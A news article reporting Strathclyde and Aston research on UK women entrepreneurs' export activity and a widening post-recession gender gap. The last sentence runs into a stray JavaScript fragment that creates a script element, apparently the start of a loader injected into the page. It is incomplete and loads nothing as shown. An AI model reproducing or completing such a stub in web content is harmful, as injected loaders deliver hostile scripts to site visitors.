Women’s changing presence in UK export market

By Manasa Boggaram

Research by academics at the University of Strathclyde and Aston University shows a large number of women business owners tapping into the export market.

The research reveals that two out of five women business owners have an international customer base.

The study, titled ‘Exporting by Male and Female Entrepreneurs over the Business Cycle,’ – carried out by Professor Jonathan Levie, of Strathclyde Business School and Professor Mark Hart, of Aston Business School also unveils a growing gender gap among exporters.

The proportion of women entrepreneurs involved in an expansive export activity has dropped by more than half since the recession, while no such drop has been recorded among male entrepreneurs.

Professor Levie said: “Far fewer women entrepreneurs now source most of their customers from overseas markets than they did before the recession. But this is not the case for men.”

Professor Mark Hart expressed that one of the reasons for the decline in the proportion of women entrepreneurs actively engaging in export activity could be due to the fact that, in the downturn, women were more unwilling to expose themselves to risks overseas, such as currency fluctuations and the vagaries of the export market than men.

Professor Hart said: “Further research is required to identify reasons for the gap in export intensity and what might be done about it.

“The decline is particularly noticeable for those in the most export intensive businesses. There has been no such decline among males, and there was not this gender difference a decade ago.”

The paper’s findings were a result of an in-depth analysis of the UK Global Entrepreneurship Monitor, (GEM), covering the major economic cycle of 2002 to 2013.var d=document;var s=d.createElement(‘script’);